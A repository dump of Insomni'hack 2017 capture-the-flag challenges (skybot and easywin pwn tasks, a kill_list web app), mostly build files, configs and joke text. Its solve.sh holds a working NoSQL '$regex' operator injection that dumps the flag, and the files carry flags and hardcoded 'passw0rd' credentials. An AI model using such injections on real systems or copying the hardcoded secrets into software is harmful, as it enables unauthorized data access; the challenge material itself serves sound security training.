├── pwn
    ├── easywin
    │   ├── flag.txt
    │   ├── easywin.exe
    │   ├── easywin.pdb
    │   ├── deps
    │   │   ├── ntdll.dll
    │   │   ├── kernel32.dll
    │   │   ├── ucrtbase.dll
    │   │   ├── KernelBase.dll
    │   │   └── vcruntime140.dll
    │   ├── src
    │   │   ├── stdafx.h
    │   │   ├── easywin.vcxproj
    │   │   └── easywin.cpp
    │   ├── AppJailLauncher.exe
    │   └── README.md
    └── skybot
    │   ├── spam
    │       ├── 30.txt
    │       ├── 0.txt
    │       ├── 17.txt
    │       ├── 19.txt
    │       ├── 3.txt
    │       ├── 1.txt
    │       ├── 29.txt
    │       ├── 4.txt
    │       ├── 16.txt
    │       ├── 24.txt
    │       ├── 27.txt
    │       ├── 11.txt
    │       ├── 14.txt
    │       ├── 23.txt
    │       ├── 8.txt
    │       ├── 15.txt
    │       ├── 21.txt
    │       ├── 26.txt
    │       ├── 6.txt
    │       ├── 7.txt
    │       ├── 12.txt
    │       ├── 25.txt
    │       ├── 10.txt
    │       ├── 13.txt
    │       ├── 31.txt
    │       ├── 9.txt
    │       ├── 28.txt
    │       ├── 18.txt
    │       ├── 22.txt
    │       ├── 5.txt
    │       ├── 20.txt
    │       ├── 32.txt
    │       └── 2.txt
    │   ├── build.sh
    │   ├── flag.txt
    │   ├── .dockerignore
    │   ├── skybot
    │   ├── libc-2.23.so
    │   ├── skybot.xinetd
    │   ├── banners
    │       ├── 2.txt
    │       ├── 6.txt
    │       ├── 4.txt
    │       ├── 5.txt
    │       ├── 1.txt
    │       ├── 7.txt
    │       ├── 3.txt
    │       ├── 8.txt
    │       └── 0.txt
    │   ├── makefile
    │   ├── Dockerfile
    │   ├── sploit.py
    │   ├── mylibc.h
    │   └── skybot.c
└── web
    └── kill_list
        ├── .dockerignore
        ├── kill_list
            ├── public
            │   ├── favicon.ico
            │   ├── img
            │   │   ├── Sarah-Connor2.jpg
            │   │   ├── john_connor.jpg
            │   │   ├── katherine_connor4.jpg
            │   │   ├── terminator-genisys.jpg
            │   │   └── highquality-walls.blogspot.com-12.jpg
            │   ├── fonts
            │   │   ├── glyphicons-halflings-regular.eot
            │   │   ├── glyphicons-halflings-regular.ttf
            │   │   ├── glyphicons-halflings-regular.woff
            │   │   └── glyphicons-halflings-regular.woff2
            │   ├── css
            │   │   ├── ie10-viewport-bug-workaround.css
            │   │   ├── starter-template.css
            │   │   ├── login.css
            │   │   ├── register.css
            │   │   ├── contact.css
            │   │   ├── bootstrap-theme.min.css
            │   │   └── bootstrap-theme.css
            │   └── js
            │   │   ├── npm.js
            │   │   ├── login.js
            │   │   ├── contact.js
            │   │   └── bootstrap.min.js
            ├── views
            │   ├── users.hbs
            │   ├── error.hbs
            │   ├── login.hbs
            │   ├── register.hbs
            │   ├── layout.hbs
            │   ├── index.hbs
            │   ├── humans.hbs
            │   └── contact.hbs
            ├── process.json
            ├── config.js
            ├── package.json
            ├── routes
            │   ├── view.js
            │   ├── mycrypto.js
            │   ├── models.js
            │   └── index.js
            ├── bin
            │   └── www
            ├── app.js
            └── create_users.js
        ├── create_admin.js
        ├── solve.sh
        ├── entrypoint.sh
        ├── Dockerfile
        ├── mongod.conf
        ├── setup.sh
        ├── nginx.conf
        └── redis.conf


/pwn/easywin/flag.txt:
--------------------------------------------------------------------------------
1 | INS{command^injection^for^the^win}
2 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/30.txt:
--------------------------------------------------------------------------------
1 | "Hey, it compiles! Ship it!"
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/build.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | docker build -t skybot .
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/flag.txt:
--------------------------------------------------------------------------------
1 | INS{wh1l3_l00p5_4r3_c00l_f0r_f0rm47_57r1n65_1n_4md64}
2 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/0.txt:
--------------------------------------------------------------------------------
1 | The truth is out there...anybody got the URL?
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/17.txt:
--------------------------------------------------------------------------------
1 | I reject your reality and substitute my own.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/19.txt:
--------------------------------------------------------------------------------
1 | Who needs friends? My PC is user friendly.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/3.txt:
--------------------------------------------------------------------------------
1 | 1f u c4n r34d th1s u r34lly n33d t0 g37 l41d
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/1.txt:
--------------------------------------------------------------------------------
1 | When Life Gives You Questions, Google has Answers
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/29.txt:
--------------------------------------------------------------------------------
1 | Whoa! I can submit my prayers via html based forms!
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/4.txt:
--------------------------------------------------------------------------------
1 | If at first you don't succeed; call it version 1.0
2 | 
3 | 


--------------------------------------------------------------------------------
/web/kill_list/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | solve.sh
3 | *.log
4 | *.o
5 | *~
6 | 


--------------------------------------------------------------------------------
/pwn/skybot/.dockerignore:
--------------------------------------------------------------------------------
1 | mylibc.h
2 | skybot.xinetd
3 | sploit.py
4 | start_socat.sh
5 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/16.txt:
--------------------------------------------------------------------------------
1 | Ethernet (n): something used to catch the etherbunny
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/24.txt:
--------------------------------------------------------------------------------
1 | Unix, DOS and Windows...the good, the bad and the ugly.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/27.txt:
--------------------------------------------------------------------------------
1 | You gotta be pretty desperate to make it with a robot.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/11.txt:
--------------------------------------------------------------------------------
1 | My software never has bugs. It just develops random features.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/14.txt:
--------------------------------------------------------------------------------
1 | Failure is not an option -- it comes bundled with Windows.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/skybot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/skybot/skybot


--------------------------------------------------------------------------------
/pwn/skybot/spam/23.txt:
--------------------------------------------------------------------------------
1 | Hand over the calculator, friends don't let friends derive drunk.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/8.txt:
--------------------------------------------------------------------------------
1 | In a world without fences and walls, who needs Gates and Windows?
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/15.txt:
--------------------------------------------------------------------------------
1 | That's a PEBKAC problem. (Problem Exists Between Keyboard And Chair)
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/21.txt:
--------------------------------------------------------------------------------
1 | Alert! User Error. Please replace user and press any key to continue.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/26.txt:
--------------------------------------------------------------------------------
1 | Monopoly's just a game son, I'm trying to control the f***ing world!
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/6.txt:
--------------------------------------------------------------------------------
1 | I would love to change the world, but they won't give me the source code
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/7.txt:
--------------------------------------------------------------------------------
1 | Windows has detected you do not have a keyboard. Press 'F9" to continue.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/12.txt:
--------------------------------------------------------------------------------
1 | Girls are like internet domain names, the ones I like are already taken.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/25.txt:
--------------------------------------------------------------------------------
1 | Windows does not detect a keyboard...Please press 'ENTER' to continue...
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/easywin/easywin.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/easywin.exe


--------------------------------------------------------------------------------
/pwn/easywin/easywin.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/easywin.pdb


--------------------------------------------------------------------------------
/pwn/skybot/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/skybot/libc-2.23.so


--------------------------------------------------------------------------------
/pwn/skybot/spam/10.txt:
--------------------------------------------------------------------------------
1 | I'm just a robot
2 | I have no fears
3 | I lack emotion
4 | And I shed no tears.
5 | 
6 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/13.txt:
--------------------------------------------------------------------------------
1 | Roses are #FF0000
2 | Violets are #0000FF
3 | All my base
4 | Are belong to you
5 | 
6 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/31.txt:
--------------------------------------------------------------------------------
1 | I'm just a robot
2 | I have no fears
3 | I lack emotion
4 | And I shed no tears.
5 | 
6 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/9.txt:
--------------------------------------------------------------------------------
1 | "Concept: On the keyboard of life, always keep one finger on the escape button."
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/easywin/deps/ntdll.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/deps/ntdll.dll


--------------------------------------------------------------------------------
/pwn/easywin/src/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | 
3 | #include <SDKDDKVer.h>
4 | #include <stdio.h>
5 | #include <tchar.h>


--------------------------------------------------------------------------------
/pwn/skybot/spam/28.txt:
--------------------------------------------------------------------------------
1 | Sometimes when my internet is down, I forget that the rest of my computer still works.
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/easywin/deps/kernel32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/deps/kernel32.dll


--------------------------------------------------------------------------------
/pwn/easywin/deps/ucrtbase.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/deps/ucrtbase.dll


--------------------------------------------------------------------------------
/pwn/easywin/AppJailLauncher.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/AppJailLauncher.exe


--------------------------------------------------------------------------------
/pwn/easywin/deps/KernelBase.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/deps/KernelBase.dll


--------------------------------------------------------------------------------
/pwn/skybot/spam/18.txt:
--------------------------------------------------------------------------------
1 | When life gives you a keyboard,
2 | make a bunny rabbit.
3 | 
4 | (\ (\
5 | (='.')
6 | ((^)(^)
7 | 
8 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/22.txt:
--------------------------------------------------------------------------------
1 | COME TO THE DORK SIDE...We Have Computers And High-Speed Internet With A Pentium 4 Processor ^_^
2 | 
3 | 


--------------------------------------------------------------------------------
/pwn/skybot/spam/5.txt:
--------------------------------------------------------------------------------
1 | There are 10 types of people in the world:
2 | those who understand binary, and those who don't.
3 | 
4 | 


--------------------------------------------------------------------------------
/pwn/easywin/deps/vcruntime140.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/pwn/easywin/deps/vcruntime140.dll


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/favicon.ico


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/users.hbs:
--------------------------------------------------------------------------------
1 | <div class="container-fluid">
2 |   <h1>{{data.title}}</h1>
3 |   <p>This is some text.</p> 
4 | </div>


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/error.hbs:
--------------------------------------------------------------------------------
1 | <div class="alert alert-danger">
2 |     <h2>{{error.status}}</h2>
3 |     <pre>{{error.stack}}</pre>
4 | </div>


--------------------------------------------------------------------------------
/pwn/skybot/spam/20.txt:
--------------------------------------------------------------------------------
1 | UNIX is basically a simple operating system, but you have to be a genius to understand the simplicity.
2 | - Dennis Ritchie
3 | 
4 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/img/Sarah-Connor2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/img/Sarah-Connor2.jpg


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/img/john_connor.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/img/john_connor.jpg


--------------------------------------------------------------------------------
/pwn/skybot/spam/32.txt:
--------------------------------------------------------------------------------
1 | The danger of the past was that men became slaves. The danger of the future is that men may become robots.
2 | - ERICH FROMM, The Sane Society
3 | 
4 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/img/katherine_connor4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/img/katherine_connor4.jpg


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/img/terminator-genisys.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/img/terminator-genisys.jpg


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.eot


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.ttf


--------------------------------------------------------------------------------
/pwn/skybot/spam/2.txt:
--------------------------------------------------------------------------------
1 | My pokemon brings all the nerds to the yard, and they're like you wanna trade cards?
2 | Darn right, I wanna trade cards, I'll trade this but not my charizard.
3 | - Unknown
4 | 
5 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.woff


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/fonts/glyphicons-halflings-regular.woff2


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/img/highquality-walls.blogspot.com-12.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Insomnihack/Insomnihack-2017/HEAD/web/kill_list/kill_list/public/img/highquality-walls.blogspot.com-12.jpg


--------------------------------------------------------------------------------
/pwn/skybot/skybot.xinetd:
--------------------------------------------------------------------------------
 1 | service skybot
 2 | {
 3 |     disable     = no
 4 |     socket_type = stream
 5 |     protocol    = tcp
 6 |     wait        = no
 7 |     user        = boogy
 8 |     bind        = 0.0.0.0
 9 |     server      = ./skybot
10 |     type        = UNLISTED
11 |     port        = 1337
12 | }
13 | 
14 | 


--------------------------------------------------------------------------------
/web/kill_list/create_admin.js:
--------------------------------------------------------------------------------
1 | use admin
2 | db.createUser({user:"admin", pwd:"passw0rd", roles:[{ role:"userAdminAnyDatabase", db:"admin" }]})
3 | db.auth("admin", "passw0rd")
4 | 
5 | use skynet
6 | db.createUser({ user:"skynet", pwd:"passw0rd", roles:[ {role:"readWrite", db:"skynet"} ]})
7 | db.auth("skynet", "passw0rd")
8 | 
9 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/2.txt:
--------------------------------------------------------------------------------
1 | 
2 | .------..------..------..------..------..------.
3 | |S.--. ||K.--. ||Y.--. ||B.--. ||O.--. ||T.--. |
4 | | :/\: || :/\: || (\/) || :(): || :/\: || :/\: |
5 | | :\/: || :\/: || :\/: || ()() || :\/: || (__) |
6 | | '--'S|| '--'K|| '--'Y|| '--'B|| '--'O|| '--'T|
7 | `------'`------'`------'`------'`------'`------'
8 | 
9 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/6.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |  (         )      )           )
 3 |  )\ )   ( /(   ( /(    (   ( /(   *   )
 4 | (()/(   )\())  )\()) ( )\  )\())` )  /(
 5 |  /(_))|((_)\  ((_)\  )((_)((_)\  ( )(_))
 6 | (_))  |_ ((_)__ ((_)((_)_   ((_)(_(_())
 7 | / __| | |/ / \ \ / / | _ ) / _ \|_   _|
 8 | \__ \   ' <   \ V /  | _ \| (_) | | |
 9 | |___/  _|\_\   |_|   |___/ \___/  |_|
10 | 
11 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/process.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "apps": [
 3 |         {
 4 |             "name": "kill_list",
 5 |             "script": "./bin/www",
 6 |             "merge_logs": true,
 7 |             "max_restarts": 20,
 8 |             "instances": 4,
 9 |             "max_memory_restart": "1G",
10 |             "env": {
11 |                 "PORT": 8080
12 |             }
13 |         }
14 |     ]
15 | }
16 | 


--------------------------------------------------------------------------------
/web/kill_list/solve.sh:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env bash
 2 | #
 3 | URL=${1:-"https://10.13.37.101"}
 4 | echo "Using host: $URL"
 5 | 
 6 | (curl -s -k -L -c cookies.txt -d "email=boogy@insomni.hack&password=ouQAgFaXZ5qDi8r" "$URL/login") &>/dev/null
 7 | (curl -s -k -L -b cookies.txt -H "Content-Type:application/json" -d '{"firstname": { "$regex": "^(Unguessable.*)"}}' "$URL/humans") | egrep -io "INS{.*}"
 8 | 
 9 | rm -f cookies.txt
10 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/4.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |   ____       _  __     __   __   ____     U  ___ u _____
 3 |  / __"| u   |"|/ /     \ \ / /U | __")u    \/"_ \/|_ " _|
 4 | <\___ \/    | ' /       \ V /  \|  _ \/    | | | |  | |
 5 |  u___) |  U/| . \\u    U_|"|_u  | |_) |.-,_| |_| | /| |\
 6 |  |____/>>   |_|\_\       |_|    |____/  \_)-\___/ u |_|U
 7 |   )(  (__),-,>> \\,-..-,//|(_  _|| \\_       \\   _// \\_
 8 |  (__)      \.)   (_/  \_) (__)(__) (__)     (__) (__) (__)
 9 | 
10 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/5.txt:
--------------------------------------------------------------------------------
 1 |  _______  _                 ______   _______ _________
 2 | (  ____ \| \    /\|\     /|(  ___ \ (  ___  )\__   __/
 3 | | (    \/|  \  / /( \   / )| (   ) )| (   ) |   ) (
 4 | | (_____ |  (_/ /  \ (_) / | (__/ / | |   | |   | |
 5 | (_____  )|   _ (    \   /  |  __ (  | |   | |   | |
 6 |       ) ||  ( \ \    ) (   | (  \ \ | |   | |   | |
 7 | /\____) ||  /  \ \   | |   | )___) )| (___) |   | |
 8 | \_______)|_/    \/   \_/   |/ \___/ (_______)   )_(
 9 | 
10 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/1.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |   /$$$$$$  /$$   /$$ /$$     /$$ /$$$$$$$   /$$$$$$  /$$$$$$$$
 3 |  /$$__  $$| $$  /$$/|  $$   /$$/| $$__  $$ /$$__  $$|__  $$__/
 4 | | $$  \__/| $$ /$$/  \  $$ /$$/ | $$  \ $$| $$  \ $$   | $$
 5 | |  $$$$$$ | $$$$$/    \  $$$$/  | $$$$$$$ | $$  | $$   | $$
 6 |  \____  $$| $$  $$     \  $$/   | $$__  $$| $$  | $$   | $$
 7 |  /$$  \ $$| $$\  $$     | $$    | $$  \ $$| $$  | $$   | $$
 8 | |  $$$$$$/| $$ \  $$    | $$    | $$$$$$$/|  $$$$$$/   | $$
 9 |  \______/ |__/  \__/    |__/    |_______/  \______/    |__/
10 | 
11 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/ie10-viewport-bug-workaround.css:
--------------------------------------------------------------------------------
 1 | /*!
 2 |  * IE10 viewport hack for Surface/desktop Windows 8 bug
 3 |  * Copyright 2014-2015 Twitter, Inc.
 4 |  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 5 |  */
 6 | 
 7 | /*
 8 |  * See the Getting Started docs for more information:
 9 |  * http://getbootstrap.com/getting-started/#support-ie10-width
10 |  */
11 | @-ms-viewport     { width: device-width; }
12 | @-o-viewport      { width: device-width; }
13 | @viewport         { width: device-width; }


--------------------------------------------------------------------------------
/web/kill_list/entrypoint.sh:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env bash
 2 | 
 3 | if [ "$1" == "start_process" ]; then
 4 |     cd /opt/kill_list
 5 | 
 6 |     mongod --quiet --config /etc/mongod.conf &
 7 |     sleep 2
 8 |     mongo < create_admin.js
 9 |     node create_users.js
10 | 
11 |     redis-server /etc/redis/redis.conf
12 |     service nginx start
13 | 
14 |     pm2 start process.json --no-daemon
15 |     # the --no-daemon is a minor workaround to prevent the
16 |     # docker container from thinking pm2 has stopped running and ending itself
17 | fi
18 | 
19 | exec "$@"
20 | 
21 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/config.js:
--------------------------------------------------------------------------------
 1 | var config = {
 2 |     app_name: "Human kill list",
 3 |     redis: {
 4 |         pass: 'passw0rd',
 5 |         host: '127.0.0.1',
 6 |         port: 6379,
 7 |         db: 1
 8 |     },
 9 |     session: {
10 |         secret: '4J8EIBxlARPhoJfQxBrgNTzcR3bAdXAV3D7AsfPFUN9aJFnghdO4Gs2hrX4F6DiijgZ6ToA7s3Eqd22VCA1muvHykwf5eJnN2Czo',
11 |         name: "sessionID"
12 |     },
13 |     mongodb: {
14 |         url: "mongodb://skynet:passw0rd@127.0.0.1:27017/skynet"
15 |     }
16 | }
17 | 
18 | module.exports = config;
19 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/js/npm.js:
--------------------------------------------------------------------------------
 1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
 2 | require('../../js/transition.js')
 3 | require('../../js/alert.js')
 4 | require('../../js/button.js')
 5 | require('../../js/carousel.js')
 6 | require('../../js/collapse.js')
 7 | require('../../js/dropdown.js')
 8 | require('../../js/modal.js')
 9 | require('../../js/tooltip.js')
10 | require('../../js/popover.js')
11 | require('../../js/scrollspy.js')
12 | require('../../js/tab.js')
13 | require('../../js/affix.js')


--------------------------------------------------------------------------------
/pwn/skybot/makefile:
--------------------------------------------------------------------------------
 1 | BIN_NAME=skybot
 2 | CC=gcc
 3 | ARCHFLAG=-m64
 4 | CFLAGS=-Wl,-z,relro,-z,now -fpic -pie -fstack-protector-all -Wno-implicit-function-declaration -Wno-format-security -z noexecstack
 5 | CFLAGS_DEBUG=-Wl,-z,relro,-z,now -fpic -pie -fstack-protector-all -Wno-implicit-function-declaration -Wno-format-security -z noexecstack -DDEBUG
 6 | 
 7 | all:
 8 | 	$(RM) $(BIN_NAME)
 9 | 	$(CC) $(ARCHFLAG) $(CFLAGS) $(BIN_NAME).c -o $(BIN_NAME)
10 | 	strip $(BIN_NAME)
11 | 	$(RM) *.o
12 | debug:
13 | 	$(RM) $(BIN_NAME)
14 | 	$(CC) $(ARCHFLAG) $(CFLAGS_DEBUG) $(BIN_NAME).c -o $(BIN_NAME)
15 | 	strip $(BIN_NAME)
16 | 	$(RM) *.o
17 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/7.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |   .-')   .-. .-')              .-. .-')                .-') _
 3 |  ( OO ). \  ( OO )             \  ( OO )              (  OO) )
 4 | (_)---\_),--. ,--.   ,--.   ,--.;-----.\  .-'),-----. /     '._
 5 | /    _ | |  .'   /    \  `.'  / | .-.  | ( OO'  .-.  '|'--...__)
 6 | \  :` `. |      /,  .-')     /  | '-' /_)/   |  | |  |'--.  .--'
 7 |  '..`''.)|     ' _)(OO  \   /   | .-. `. \_) |  |\|  |   |  |
 8 | .-._)   \|  .   \   |   /  /\_  | |  \  |  \ |  | |  |   |  |
 9 | \       /|  |\   \  `-./  /.__) | '--'  /   `'  '-'  '   |  |
10 |  `-----' `--' '--'    `--'      `------'      `-----'    `--'
11 | 
12 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/3.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |    ,-,--.  ,--.-.,-.                             _,.---._    ,--.--------.
 3 |  ,-.'-  _\/==/- |\  \ ,--.-.  .-,--. _..---.   ,-.' , -  `. /==/,  -   , -\
 4 | /==/_ ,_.'|==|_ `/_ //==/- / /=/_ /.' .'.-. \ /==/_,  ,  - \\==\.-.  - ,-./
 5 | \==\  \   |==| ,   / \==\, \/=/. //==/- '=' /|==|   .=.     |`--`\==\- \
 6 |  \==\ -\  |==|-  .|   \==\  \/ -/ |==|-,   ' |==|_ : ;=:  - |     \==\_ \
 7 |  _\==\ ,\ |==| _ , \   |==|  ,_/  |==|  .=. \|==| , '='     |     |==|- |
 8 | /==/\/ _ |/==/  '\  |  \==\-, /   /==/- '=' ,|\==\ -    ,_ /      |==|, |
 9 | \==\ - , /\==\ /\=\.'  /==/._/   |==|   -   /  '.='. -   .'       /==/ -/
10 |  `--`---'  `--`        `--`-`    `-._`.___,'     `--`--''         `--`--`
11 | 
12 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "nosql",
 3 |   "version": "0.1.0",
 4 |   "private": true,
 5 |   "scripts": {
 6 |     "start": "node ./bin/www"
 7 |   },
 8 |   "dependencies": {
 9 |     "bcrypt": "^1.0.2",
10 |     "body-parser": "^1.16.1",
11 |     "connect-redis": "^3.2.0",
12 |     "cookie-parser": "^1.4.3",
13 |     "debug": "~2.6.0",
14 |     "express": "~4.14.1",
15 |     "express-handlebars": "^3.0.0",
16 |     "express-messages": "^1.0.1",
17 |     "express-session": "^1.15.1",
18 |     "express-validator": "^3.1.2",
19 |     "hbs": "~4.0.1",
20 |     "lodash": "^4.17.4",
21 |     "mongodb": "^2.2.24",
22 |     "mongoose": "^4.8.2",
23 |     "morgan": "~1.7.0",
24 |     "serve-favicon": "~2.3.2"
25 |   }
26 | }
27 | 


--------------------------------------------------------------------------------
/pwn/skybot/banners/8.txt:
--------------------------------------------------------------------------------
 1 | 
 2 |       ___          ___      ___          ___          ___       ___
 3 |      /\  \        /\__\    |\__\        /\  \        /\  \     /\  \
 4 |     /::\  \      /:/  /    |:|  |      /::\  \      /::\  \    \:\  \
 5 |    /:/\ \  \    /:/__/     |:|  |     /:/\:\  \    /:/\:\  \    \:\  \
 6 |   _\:\~\ \  \  /::\__\____ |:|__|__  /::\~\:\__\  /:/  \:\  \   /::\  \
 7 |  /\ \:\ \ \__\/:/\:::::\__\/::::\__\/:/\:\ \:|__|/:/__/ \:\__\ /:/\:\__\
 8 |  \:\ \:\ \/__/\/_|:|~~|~  /:/~~/~   \:\~\:\/:/  /\:\  \ /:/  //:/  \/__/
 9 |   \:\ \:\__\     |:|  |  /:/  /      \:\ \::/  /  \:\  /:/  //:/  /
10 |    \:\/:/  /     |:|  |  \/__/        \:\/:/  /    \:\/:/  / \/__/
11 |     \::/  /      |:|  |                \::/__/      \::/  /
12 |      \/__/        \|__|                 ~~           \/__/
13 | 
14 | 


--------------------------------------------------------------------------------
/web/kill_list/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM ubuntu:latest
 2 | MAINTAINER bogdan@insomnihack.ch
 3 | 
 4 | ENV DEBIAN_FRONTEND noninteractive
 5 | 
 6 | COPY setup.sh /opt/
 7 | RUN bash /opt/setup.sh
 8 | 
 9 | COPY redis.conf /etc/redis/redis.conf
10 | COPY mongod.conf /etc/mongod.conf
11 | COPY nginx.conf /etc/nginx/sites-available/default
12 | 
13 | RUN mkdir -p /opt/kill_list \
14 |     && mkdir -p /opt/kill_list/data
15 | 
16 | COPY entrypoint.sh /opt/kill_list/
17 | COPY create_admin.js /opt/kill_list/
18 | COPY kill_list/ssl/cert.pem /etc/ssl/
19 | COPY kill_list/ssl/key.pem /etc/ssl/
20 | COPY kill_list/ /opt/kill_list/
21 | 
22 | WORKDIR /opt/kill_list
23 | RUN npm install \
24 |     && npm install bcrypt \
25 |     && rm -rf /opt/kill_list/ssl
26 | 
27 | EXPOSE 80 443
28 | 
29 | ENTRYPOINT ["./entrypoint.sh"]
30 | CMD ["start_process"]
31 | 
32 | 


--------------------------------------------------------------------------------
/web/kill_list/mongod.conf:
--------------------------------------------------------------------------------
 1 | # mongod.conf
 2 | 
 3 | # for documentation of all options, see:
 4 | #   http://docs.mongodb.org/manual/reference/configuration-options/
 5 | 
 6 | # Where and how to store data.
 7 | storage:
 8 |   # dbPath: /var/lib/mongodb
 9 |   dbPath: /opt/kill_list/data
10 |   journal:
11 |     enabled: true
12 | #  engine:
13 | #  mmapv1:
14 | #  wiredTiger:
15 | 
16 | # where to write logging data.
17 | systemLog:
18 |   destination: file
19 |   logAppend: true
20 |   path: /var/log/mongodb/mongod.log
21 | 
22 | # network interfaces
23 | net:
24 |   port: 27017
25 |   bindIp: 127.0.0.1
26 | 
27 | 
